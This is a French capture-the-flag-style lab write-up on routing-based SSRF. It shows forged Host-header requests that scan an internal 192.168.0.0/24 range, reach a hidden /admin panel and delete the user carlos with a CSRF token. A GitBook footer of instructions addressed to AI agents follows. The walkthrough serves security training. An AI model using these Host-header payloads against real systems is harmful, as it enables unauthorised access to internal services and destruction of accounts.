> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/host-header/routing-based-ssrf.md).

# SSRF basée sur le routage

### SSRF basé sur le routage

**Description du laboratoire**

Ce labo présente une **Vulnérabilité de type SSRF basée sur le routage**, exploitable via **en-tête Host**. / L'application s'appuie sur la valeur du `Host` champ pour déterminer la destination des requêtes, permettant d'accéder à des ressources internes non exposées.

Objectif :

* Accédez au panneau d'administration interne hébergé sur une adresse IP du `192.168.0.0/24` réseau
* Supprimer l'utilisateur **carlos**

**Observation initiale**

Le `/admin` point d'accès n'est pas accessible depuis l'extérieur. / Cependant, l'application relaie les requêtes en fonction de la valeur du `Host` champ, ce qui permet de rediriger la requête vers des adresses internes.

**Étape 1 – Scan du réseau interne**

La requête suivante est envoyée à **Intruder** pour tester des adresses IP internes :

```http
GET /admin HTTP/2
Host: 192.168.0.X
```

⚠️ Important :

* Désactiver l'option **Mettre à jour l'en-tête Host** dans Burp, sinon l'attaque échoue.

<figure><img src="/files/15da1765190758c003b9ea0361540ec4f975f3f3" alt=""><figcaption></figcaption></figure>

Résultat :

* Le `192.168.0.221` adresse renvoie une réponse **HTTP 200**, indiquant la présence du panneau d'administration interne.

<figure><img src="/files/237eee7edc714939714e191a708cf2b52f4d1171" alt=""><figcaption></figcaption></figure>

**Étape 2 – Accès au panneau d'administration**

Une fois une IP valide identifiée, vous ciblez directement le panneau d'administration :

```http
GET /admin/delete?username=carlos HTTP/2
Host: 192.168.0.221
```

L'interface d'administration interne devient accessible.

<figure><img src="/files/698c03f49503435d483a26fa8d90aa1514a7a163" alt=""><figcaption></figcaption></figure>

**Étape 3 – Suppression de l'utilisateur carlos**

La suppression nécessite une **POST** requête avec un jeton CSRF valide :

```http
POST /admin/delete HTTP/2
Host: 192.168.0.221

csrf=iWyb78rJxAsoblmARVtqSef6YOsKG0Ph&username=carlos
```

Résultat :

* Le serveur répond avec **302 Found**, confirmant que l'utilisateur **carlos** a été supprimé.

<figure><img src="/files/f23d1d0df86d90f5daf07e4d365194cf040fd964" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/host-header/routing-based-ssrf.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
